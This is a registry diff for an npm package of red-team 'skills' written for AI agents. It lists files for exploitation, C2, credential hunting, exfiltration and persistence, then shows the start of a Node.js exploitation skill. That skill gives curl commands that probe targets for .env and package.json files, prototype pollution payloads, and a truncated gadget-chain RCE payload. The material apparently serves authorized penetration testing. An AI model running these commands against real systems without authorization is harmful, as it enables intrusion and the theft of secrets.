rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,852 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-nodejs
|
|
3
|
+
description: "Node.js web application exploitation. Covers prototype pollution (JSON and query-string based), eval() and Function() injection via template engines, path traversal in Express.js, SSRF in Node HTTP clients, Server-Side JavaScript injection, regex DoS (ReDoS), and npm dependency confusion. Targets Express, Next.js, NestJS, Fastify, Koa applications."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-nodejs — Node.js Web Application Exploitation
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
This skill covers offensive exploitation of Node.js web applications across the full vulnerability spectrum. Node.js presents a unique attack surface because JavaScript's prototype chain, its dynamic `require()` system, and the npm ecosystem introduce vulnerability classes that do not exist in other server-side runtimes.
|
|
11
|
+
|
|
12
|
+
**Use this skill when:**
|
|
13
|
+
- The target is confirmed to run Node.js (via `X-Powered-By`, error stack traces, response timing, or fingerprinting)
|
|
14
|
+
- You have identified JSON or query-string input accepted by the application
|
|
15
|
+
- Template rendering errors reveal engine names (Pug, Handlebars, EJS, Nunjucks)
|
|
16
|
+
- The target performs outbound HTTP requests based on user-supplied URLs
|
|
17
|
+
- File paths are constructed from user input in Express/Koa routes
|
|
18
|
+
- Dependency manifests (`package.json`, `package-lock.json`) are accessible
|
|
19
|
+
- The application uses regex-based input validation without timeouts
|
|
20
|
+
|
|
21
|
+
**Frameworks in scope:** Express.js, Next.js (API routes and middleware), NestJS, Fastify, Koa, Hapi, Sails.js
|
|
22
|
+
|
|
23
|
+
**Out of scope for this skill:** Browser-side JavaScript (XSS, CSRF), GraphQL-specific attacks (see rt-exploit-graphql), authentication bypass via JWT (see rt-exploit-jwt).
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## 2. Prerequisites and Tool Setup
|
|
28
|
+
|
|
29
|
+
### 2.1 Knowledge Prerequisites
|
|
30
|
+
|
|
31
|
+
- HTTP request/response cycle and JSON structure
|
|
32
|
+
- JavaScript prototype chain fundamentals
|
|
33
|
+
- Basic understanding of npm package resolution
|
|
34
|
+
- Linux command line proficiency
|
|
35
|
+
|
|
36
|
+
### 2.2 Required Tools
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
# Update package lists
|
|
40
|
+
sudo apt-get update
|
|
41
|
+
|
|
42
|
+
# Core HTTP tools
|
|
43
|
+
sudo apt-get install -y curl wget burpsuite
|
|
44
|
+
|
|
45
|
+
# Node.js and npm (for local testing and payload generation)
|
|
46
|
+
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
|
|
47
|
+
sudo apt-get install -y nodejs
|
|
48
|
+
|
|
49
|
+
# Python (for auxiliary scripts and servers)
|
|
50
|
+
sudo apt-get install -y python3 python3-pip
|
|
51
|
+
|
|
52
|
+
# ffuf — fast web fuzzer for parameter and path discovery
|
|
53
|
+
sudo apt-get install -y ffuf
|
|
54
|
+
|
|
55
|
+
# nuclei — template-based vulnerability scanner
|
|
56
|
+
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
|
57
|
+
|
|
58
|
+
# httpx — HTTP probing and fingerprinting
|
|
59
|
+
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
|
|
60
|
+
|
|
61
|
+
# interactsh-client — SSRF and blind interaction detection
|
|
62
|
+
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
|
|
63
|
+
|
|
64
|
+
# gitleaks — secret scanning in exposed repos
|
|
65
|
+
sudo apt-get install -y gitleaks
|
|
66
|
+
|
|
67
|
+
# retire.js — known vulnerable npm dependency scanner
|
|
68
|
+
sudo npm install -g retire
|
|
69
|
+
|
|
70
|
+
# snyk — dependency vulnerability analysis (optional, requires account)
|
|
71
|
+
sudo npm install -g snyk
|
|
72
|
+
|
|
73
|
+
# ysoserial-like payloads for Node: generate-payload helper
|
|
74
|
+
sudo npm install -g @shieldify-security/generate-payload 2>/dev/null || true
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
### 2.3 Wordlists
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
# Ensure SecLists is present
|
|
81
|
+
sudo apt-get install -y seclists
|
|
82
|
+
|
|
83
|
+
# Verify key wordlists exist
|
|
84
|
+
ls /usr/share/seclists/Discovery/Web-Content/
|
|
85
|
+
ls /usr/share/seclists/Fuzzing/
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
### 2.4 Local Test Environment (Optional but Recommended)
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
# Spin up a vulnerable Node.js app for technique validation
|
|
92
|
+
git clone https://github.com/payloadbox/node-vuln-app /tmp/node-vuln-app 2>/dev/null || \
|
|
93
|
+
git clone https://github.com/OWASP/NodeGoat /tmp/NodeGoat
|
|
94
|
+
cd /tmp/NodeGoat && npm install && npm start &
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## 3. Skill Levels
|
|
100
|
+
|
|
101
|
+
### BEGINNER — Reconnaissance and Fingerprinting
|
|
102
|
+
|
|
103
|
+
Goals: identify that the target runs Node.js, enumerate frameworks, surface obvious misconfigurations.
|
|
104
|
+
|
|
105
|
+
Techniques:
|
|
106
|
+
- `X-Powered-By` header analysis
|
|
107
|
+
- Stack trace leakage via malformed input
|
|
108
|
+
- `package.json` and `package-lock.json` exposure
|
|
109
|
+
- Known CVE scanning with nuclei
|
|
110
|
+
- Retire.js against exposed client-side scripts
|
|
111
|
+
|
|
112
|
+
### INTERMEDIATE — Input-Based Exploitation
|
|
113
|
+
|
|
114
|
+
Goals: exploit prototype pollution via JSON/query-string, path traversal in static file serving, basic SSTI in template engines.
|
|
115
|
+
|
|
116
|
+
Techniques:
|
|
117
|
+
- `__proto__` and `constructor.prototype` pollution
|
|
118
|
+
- EJS/Pug/Handlebars SSTI for RCE
|
|
119
|
+
- Express.js path traversal via encoded sequences
|
|
120
|
+
- SSRF via `http.request()` or `axios` with user-controlled URLs
|
|
121
|
+
|
|
122
|
+
### ADVANCED — Chained Exploitation and Persistence
|
|
123
|
+
|
|
124
|
+
Goals: combine prototype pollution with RCE gadgets, exploit npm dependency confusion, extract secrets from the process environment.
|
|
125
|
+
|
|
126
|
+
Techniques:
|
|
127
|
+
- Prototype pollution to RCE via gadget chains
|
|
128
|
+
- Server-Side JavaScript injection (SSJI)
|
|
129
|
+
- ReDoS for targeted service degradation
|
|
130
|
+
- npm dependency confusion supply chain attack
|
|
131
|
+
- `process.env` secret extraction
|
|
132
|
+
|
|
133
|
+
### EXPERT — Post-Exploitation and Evasion
|
|
134
|
+
|
|
135
|
+
Goals: lateral movement within Node.js process, bypassing WAF/CSP at the application layer, persistent code injection.
|
|
136
|
+
|
|
137
|
+
Techniques:
|
|
138
|
+
- `require()` hijacking after prototype pollution
|
|
139
|
+
- Monkey-patching built-in modules in memory
|
|
140
|
+
- Abusing `vm.runInNewContext()` sandbox escapes
|
|
141
|
+
- Event loop exhaustion without ReDoS patterns
|
|
142
|
+
- Cluster/worker thread abuse
|
|
143
|
+
|
|
144
|
+
---
|
|
145
|
+
|
|
146
|
+
## 4. Step-by-Step Attack Workflow
|
|
147
|
+
|
|
148
|
+
### Phase 1: Fingerprinting and Recon
|
|
149
|
+
|
|
150
|
+
**Step 1 — Identify Node.js runtime**
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
TARGET="https://target.example.com"
|
|
154
|
+
|
|
155
|
+
# Check response headers
|
|
156
|
+
curl -sk -I "$TARGET" | grep -iE "x-powered-by|server|node|express|koa|fastify|nest"
|
|
157
|
+
|
|
158
|
+
# Send malformed JSON to trigger stack trace
|
|
159
|
+
curl -sk -X POST "$TARGET/api/login" \
|
|
160
|
+
-H "Content-Type: application/json" \
|
|
161
|
+
-d '{bad json}' | grep -iE "node_modules|\.js:|Error|at Object"
|
|
162
|
+
|
|
163
|
+
# Probe for package.json exposure
|
|
164
|
+
curl -sk "$TARGET/package.json"
|
|
165
|
+
curl -sk "$TARGET/package-lock.json"
|
|
166
|
+
curl -sk "$TARGET/.env"
|
|
167
|
+
curl -sk "$TARGET/node_modules/.bin/"
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
**Step 2 — Framework identification**
|
|
171
|
+
|
|
172
|
+
```bash
|
|
173
|
+
# httpx fingerprinting
|
|
174
|
+
echo "$TARGET" | httpx -silent -tech-detect -status-code -title -web-server
|
|
175
|
+
|
|
176
|
+
# nuclei framework detection
|
|
177
|
+
nuclei -u "$TARGET" -t technologies/nodejs/ -silent
|
|
178
|
+
|
|
179
|
+
# Fuzz for framework-specific routes
|
|
180
|
+
ffuf -u "$TARGET/FUZZ" \
|
|
181
|
+
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
|
|
182
|
+
-mc 200,301,302,403 \
|
|
183
|
+
-o /tmp/fuzz-common.json -of json -silent
|
|
184
|
+
|
|
185
|
+
# Next.js specific indicators
|
|
186
|
+
curl -sk "$TARGET/_next/static/chunks/" | grep -q "webpack" && echo "[+] Next.js detected"
|
|
187
|
+
curl -sk "$TARGET/api/" -I
|
|
188
|
+
|
|
189
|
+
# NestJS indicators (often exposes /api docs)
|
|
190
|
+
curl -sk "$TARGET/api" | grep -i "swagger\|openapi\|nestjs"
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
**Step 3 — Dependency and CVE enumeration**
|
|
194
|
+
|
|
195
|
+
```bash
|
|
196
|
+
# If package.json is accessible, extract it and scan
|
|
197
|
+
curl -sk "$TARGET/package.json" -o /tmp/target-package.json
|
|
198
|
+
cat /tmp/target-package.json | python3 -c "
|
|
199
|
+
import json,sys
|
|
200
|
+
pkg = json.load(sys.stdin)
|
|
201
|
+
deps = {**pkg.get('dependencies',{}), **pkg.get('devDependencies',{})}
|
|
202
|
+
for k,v in deps.items(): print(f'{k}@{v}')
|
|
203
|
+
"
|
|
204
|
+
|
|
205
|
+
# Scan with retire.js against accessible JS files
|
|
206
|
+
retire --js --jspath <(curl -sk "$TARGET/bundle.js") 2>/dev/null
|
|
207
|
+
|
|
208
|
+
# Run nuclei CVE templates
|
|
209
|
+
nuclei -u "$TARGET" -t cves/ -tags nodejs,express,nestjs -severity medium,high,critical -silent
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
### Phase 2: Prototype Pollution Testing
|
|
213
|
+
|
|
214
|
+
**Step 4 — JSON-based prototype pollution detection**
|
|
215
|
+
|
|
216
|
+
```bash
|
|
217
|
+
# Basic __proto__ pollution probe — look for reflected or behavioral change
|
|
218
|
+
curl -sk -X POST "$TARGET/api/user/settings" \
|
|
219
|
+
-H "Content-Type: application/json" \
|
|
220
|
+
-d '{"__proto__":{"polluted":"yes"}}' -v 2>&1 | tail -20
|
|
221
|
+
|
|
222
|
+
# constructor.prototype variant
|
|
223
|
+
curl -sk -X POST "$TARGET/api/user/settings" \
|
|
224
|
+
-H "Content-Type: application/json" \
|
|
225
|
+
-d '{"constructor":{"prototype":{"polluted":"yes"}}}' -v
|
|
226
|
+
|
|
227
|
+
# Test if pollution propagates — check a subsequent GET for unexpected properties
|
|
228
|
+
curl -sk "$TARGET/api/user/profile" | python3 -m json.tool | grep -i "polluted"
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
**Step 5 — Query-string prototype pollution**
|
|
232
|
+
|
|
233
|
+
```bash
|
|
234
|
+
# qs library (used by Express body-parser) is vulnerable to __proto__ via brackets
|
|
235
|
+
curl -sk "$TARGET/api/search?__proto__[polluted]=yes&q=test"
|
|
236
|
+
curl -sk "$TARGET/api/search?constructor[prototype][polluted]=yes&q=test"
|
|
237
|
+
|
|
238
|
+
# Use a dedicated fuzzer for parameter pollution
|
|
239
|
+
ffuf -u "$TARGET/api/search?FUZZ=yes" \
|
|
240
|
+
-w - <<'EOF'
|
|
241
|
+
__proto__[polluted]
|
|
242
|
+
constructor[prototype][polluted]
|
|
243
|
+
__proto__.polluted
|
|
244
|
+
EOF
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
**Step 6 — Gadget chain RCE via prototype pollution**
|
|
248
|
+
|
|
249
|
+
```bash
|
|
250
|
+
# Target: applications using lodash.merge, deepmerge, or similar before exec/spawn
|
|
251
|
+
# Payload injects shell command via NODE_OPTIONS or env pollution
|
|
252
|
+
|
|
253
|
+
# Gadget: child_process.fork() with polluted env
|
|
254
|
+
curl -sk -X POST "$TARGET/api/merge" \
|
|
255
|
+
-H "Content-Type: application/json" \
|
|
256
|
+
-d '{
|
|
257
|
+
"__proto__": {
|
|
258
|
+
"shell": "node",
|
|
259
|
+
